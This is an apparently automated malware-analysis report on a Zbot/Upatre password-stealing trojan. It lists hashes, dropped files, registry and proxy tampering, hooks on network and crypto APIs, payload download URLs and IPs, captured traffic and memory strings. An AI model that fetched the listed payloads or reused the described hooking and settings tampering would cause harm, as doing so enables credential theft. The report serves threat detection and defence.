Trojan-PSW.Win32.Zbot.4_410bfec23a

by malwarelabrobot on May 27th, 2014 in Malware Descriptions.

Trojan.GenericKD.1545947 (BitDefender), TrojanDownloader:Win32/Upatre.L (Microsoft), HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Win32.Upatre.jr (v) (VIPRE), Trojan.DownLoad3.28161 (DrWeb), Trojan.GenericKD.1545947 (B) (Emsisoft), Downloader-FSH (McAfee), Trojan.Zbot (Symantec), Trojan-Downloader.Win32.Upatre (Ikarus), Trojan.GenericKD.1545947 (FSecure), Downloader.Generic13.BVQK (AVG), Win32:Zbot-TCT [Trj] (Avast), TROJ_UPATRE.SM13 (TrendMicro), Trojan.GenericKD.1545947 (AdAware), Trojan-PSW.Win32.Zbot.4.FD, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan-PSW, Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 410bfec23a57bcbf6655393e5e321f5e
SHA1: 8e2a4b3b8860f7ae760de66787ff907662bc1897
SHA256: 9b3da4514b38028b5ba710a7f91ecc8d392ee410317e98b83ffdcbc752944a98
SSDeep: 192:uc2gdAYC8jX2crQVrKUM231pnidL/jrEiXDexwDe8npMBoYht4fnYNSgVAT:uc2gSYC8xS31tKXEiXDeGDeCpttvYNQT
Size: 19144 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company:
Created at: 2014-02-02 13:56:21
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

ecyche.exe:1628
%original file name%.exe:1732
sewer.exe:1824
pdfupdate.exe:468

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:1684

File activity

The process ecyche.exe:1628 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\NTUSER.DAT.LOG (7448 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (6708 bytes)

The process %original file name%.exe:1732 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\pdfupdate.exe (19 bytes)

The process sewer.exe:1824 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Application Data\Idaz\ecyche.exe (2491 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (628 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\FIO84F8.bat (173 bytes)

The process pdfupdate.exe:468 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\al0302[1].enc (1610 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\sewer.exe (1667 bytes)

Registry activity

The process ecyche.exe:1628 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Ukepukah]
"187haf5g" = "21 2A 79 C8 A7 D1 C3 B1 00 DE DD ED"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "98 71 11 81 BE E3 9E 42 29 37 A2 1E BE B0 1C 33"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1732 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "67 33 7A 74 8E D4 C1 EB A8 3C 77 DD 6F 9B C9 F3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"pdfupdate.exe" = "pdfupdate"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process sewer.exe:1824 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 53 DD 5A 9D B6 24 E6 C2 C7 5E CA CE 30 40 60"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process pdfupdate.exe:468 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"sewer.exe" = "sewer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DC 82 D6 3D 7A 3E 0A E2 69 54 85 47 3E DE 51 58"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
f1f03b73b6c32ef28514d740073a4941 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Idaz\ecyche.exe
0a2947abe4c9e6d539066993690c8a38 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\pdfupdate.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetWriteFile
InternetWriteFileExA
InternetQueryDataAvailable
HttpQueryInfoW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

GetClipboardData
TranslateMessage

The Trojan-PSW installs the following user-mode hooks in Secur32.dll:

DecryptMessage
SealMessage
DeleteSecurityContext

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSAGetOverlappedResult
WSASend
recv
gethostbyname
WSARecv
send
closesocket
freeaddrinfo
getaddrinfo
GetAddrInfoW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 5463 5632 4.20648 7bb11510f41b7f7df36cd0f5b7ee72b8
.rdata 12288 698 1024 2.51041 59c84607aac08a088faf67bc9f288286
.data 16384 322 512 1.47443 000c03a917f9a97e98181772b9217ac2
.rsrc 20480 7928 8192 3.31217 cbe724118cbc9edf74030c20c32d41c9
.reloc 28672 194 512 1.2475 e74eef7bfce1af487f797d9827763277

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://highclassdelhiescorts.in/images/css/al0302.enc 103.8.127.189
hxxp://manjena.com/images/al0302.enc 184.107.194.106
hxxp://v6v4.portal-standard.aol.akadns.net/
hxxp://www.aol.com/ 205.188.18.208


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Downloader (P2P Zeus dropper UA)
ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)
ET TROJAN Upatre Binary Download Jan 02 2014

Traffic

GET /images/al0302.enc HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: manjena.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Sat, 24 May 2014 06:00:28 GMT
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.6
Last-Modified: Mon, 03 Feb 2014 15:36:31 GMT
ETag: "a548037-50648-4f18249ad9dc0"
Accept-Ranges: bytes
Content-Length: 329288
Connection: close
Content-Type: text/plain
ZZP..~.:.T.tS...W.......S..vS..OJ.)w_..w....Z...S...r... ...!...2..W0.
..<..w1...&...S..3....<D..}..}w.GwWF:..'T....X..3 Q..3...pl6.wT.
..U6.upP.x|.TM...p[6..S...0..HFo.w...;R..P[. %V.!wP..|R..w;.....C~...u
CD..V..d...wS..1R...P..qQ^".2..x....FB.qP..w.m.w{[email protected].
[email protected]..'S.YY....S...Z..7}G.w.....t.u........}...
0...i...R......d$..wl..HS..LS...S...'...Ad..[...X.J;w.. ..Kf...wC@..&l
t;[email protected]@..^N..R.....2)...D...u..(.S.>.2.E.'..6Q.
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....f.eP%..^.H`...g[...P..0Q...R......v..@[email protected]!.5.eU..........
v'...\....O.)....W;..[O0.....V.Ht.(..^....y..UA..\E.u^@....7r..6r@.~..
..V...[...u9....8.....c..@g0...%[email protected],p..D. ..1....w;[email protected]..,.
.X#.v...!..........J....t..?.[.9?\Fa..E8...Ak..yrU..KS.....B.\......r.
...Z3..c...Q.B.PG8.!.A..;....!jW.{.PG(s!.........DuW$..wI.cSP....E.RT.
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..I.N...Sd..z.7d.#.Mb.....T.K..qsf. .`..FJTq.C..u.Ta.S..w....S..T.L.t.
./.@ .d.l..Z...../.Q.....Q.Q..ud./t. .|\dC!.;>.V..w...w.../c..GS..G
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4o...'X|..S..NR~..m.E.2F.&....i^L.S.bv..).3..R..qwy..s.....G.~.,..

<<< skipped >>>

GET / HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: VVV.aol.com


HTTP/1.1 200 OK
Date: Sat, 24 May 2014 05:56:44 GMT
Server: Apache-Coyote/1.1
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/; domain=VVV.aol.com
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/; domain=aol.com
Pragma: no-cache
Cache-Control: max-age=0, no-cache, no-store
R-Host: vm-149-174-20-50.asset.aol.com
ModPagespeedDisableFilters: rewrite_javascript,inline_css
Set-Cookie: JSESSIONID=B0613725DABD3470265BD70189ED6387; Path=/aol
Set-Cookie: tst=,60,s391a:,58,s392a:,58,s393a:,60,s394a:,59,s395a:,63,s396a:,63,s397a:,59,s398a:,61,s399a:,59,s400a:,61,s401a:,58,s402a:,58,s403a:,57,s404a:,5,r903a:b,3,r904a; Expires=Mon, 23-May-2016 05:56:44 GMT; Path=/
X-Mod-Pagespeed: 1.6.29.7-3343
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html;;charset=utf-8
102c..<!DOCTYPE html>.<html xmlns:og="hXXp://opengraphprotoco
l.org/schema/" xmlns:fb="hXXp://VVV.facebook.com/2008/fbml" xmlns="htt
p://VVV.w3.org/1999/xhtml" xml:lang="en" lang="en" class="cobrand-resp
onsive-test1 page- adellesans-enabled responsive notResponsiveTouch
" id="global-header-light">.<head>.<!-- vm-149-174-20-50
.asset.aol.com 1400911004692 -->.<script type="text/javascript"
src="hXXp://portal.aolcdn.com/o.aolcdn.com/fonts/faw1kht.js.pagespeed.
jm._Y1eHza8xn.js"></script>.<script type="text/javascript"
>try{Typekit.load();}catch(e){}</script>.<link rel="canoni
cal" href="hXXp://VVV.aol.com/"/>.<meta http-equiv="pics-label"
content='(pics-1.1 "hXXp://VVV.icra.org/ratingsv02.html" l r (ca 1 lz
1 nz 1 oz 1 vz 1) gen true for "hXXp://VVV.aol.com" r (ca 1 lz 1 nz 1
oz 1 vz 1) "hXXp://VVV.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0)
gen true for "hXXp://VVV.aol.com" r (n 0 s 0 v 0 l 0))'/>.<meta
name="description" content="AOL offers today's news, sports, stock qu
otes, weather, movie reviews, TV trends and more. Get free email, AIM
access, online radio, videos and horoscopes -- all on AOL.com!"/>.&
lt;meta property="og:description" content="AOL offers today's news, sp
orts, stock quotes, weather, movie reviews, TV trends and more. Get fr
ee email, AIM access, online radio, videos and horoscopes -- all on AO
L.com!"/>.<meta property="fb:app_id" content="183146218394780"/&
gt;.<meta property="og:site_name" content="AOL.com"/>.<me

<<< skipped >>>

GET / HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: VVV.aol.com
Cookie: tst=,60,s391a:,58,s392a:,58,s393a:,60,s394a:,59,s395a:,63,s396a:,63,s397a:,59,s398a:,61,s399a:,59,s400a:,61,s401a:,58,s402a:,58,s403a:,57,s404a:,5,r903a:b,3,r904a


HTTP/1.1 200 OK
Date: Sat, 24 May 2014 05:56:45 GMT
Server: Apache-Coyote/1.1
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/; domain=VVV.aol.com
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/; domain=aol.com
Pragma: no-cache
Cache-Control: max-age=0, no-cache, no-store
R-Host: portal-fe5-ld117.websys.aol.com
ModPagespeedDisableFilters: rewrite_javascript,inline_css
Set-Cookie: JSESSIONID=A282EBB97850729911B6A0433E2253DA; Path=/aol
X-Mod-Pagespeed: 1.6.29.7-3343
Vary: Accept-Encoding
Content-Length: 123635
Content-Type: text/html;;charset=utf-8
<!DOCTYPE html>.<html xmlns:og="hXXp://opengraphprotocol.org/
schema/" xmlns:fb="hXXp://VVV.facebook.com/2008/fbml" xmlns="hXXp://ww
w.w3.org/1999/xhtml" xml:lang="en" lang="en" class="cobrand-responsive
-test1 page- adellesans-enabled responsive notResponsiveTouch " id
="global-header-light">.<head>.<!-- portal-fe5-ld117.websy
s.aol.com 1400911005705 -->.<link rel="stylesheet" type="text/cs
s" href="hXXp://portal.aolcdn.com/p5/_v91.6.0/css/responsive.css"/>
<link rel="stylesheet" type="text/css" class="skin_link" href="http
://portal.aolcdn.com/p5/skin/_v81/A.splash.css.pagespeed.cf.mV33vDpEAe
.css"/><style>.IE #header_logo{filter:progid:DXImageTransform
.Microsoft.AlphaImageLoader(src='hXXp://portal.aolcdn.com/p5/_v91.6.0/
css/logo_IE.png', sizingMethod='crop')}</style><style type="t
ext/css" id="adhoccss-responsive-design">#weather .ttip{width:114px
;white-space:nowrap}.dailyBuzz .photo-link{float:left}.dailyBuzz .vide
obutton,.dailyBuzz .videobutton-bg{margin-top:-5px}#dl_v2 .dllabel,#dl
_v2 #advertad1 .dllabel,#dl_v2.dl #mkplace1 .dllabel{top:0}.slideshow
h3 a{font-size:15px}@media only screen and (max-width:767px){#dl_v2 .d
llabel,#dl_v2 #advertad1 .dllabel,#dl_v2.dl #mkplace1 .dllabel{display
:none}}#gravitymodarticle{clear:both}</style><style type="tex
t/css" id="cobrandadhoccss-with-inheritance"></style><scri
pt type="text/javascript" src="hXXp://portal.aolcdn.com/o.aolcdn.com/f
onts/faw1kht.js.pagespeed.jm._Y1eHza8xn.js"></script>.<

<<< skipped >>>

GET /images/css/al0302.enc HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: highclassdelhiescorts.in
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Sat, 24 May 2014 05:56:40 GMT
Server: Apache
Content-Length: 338
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /im
ages/css/al0302.enc was not found on this server.</p>.<p>A
dditionally, a 404 Not Found.error was encountered while trying to use
an ErrorDocument to handle the request.</p>.</body></h
tml>...


The Trojan-PSW connects to the servers at the folowing location(s):

Explorer.EXE_1684_rwx_021E0000_00048000:

.text
`.data
.idata
@.reloc
Invalid parameter passed to C runtime function.
>$>,>4><>
0123456789
http://www.google.com/
http://www.bing.com/
REPORT
HTTP/1.1
RegDeleteKeyExW
gdiplus.dll
GdiplusShutdown
.TJFZAIY]JD^"
?:527|:!;8
!1 (##!(
Kmv`jn`%fnfnzg,bt3crd~da4
1&,$=OJ-:&#O-
-.ynp<
'2$4>%|903
: 8? 1 !
userenv.dll
del "%s"
if exist "%s" goto d
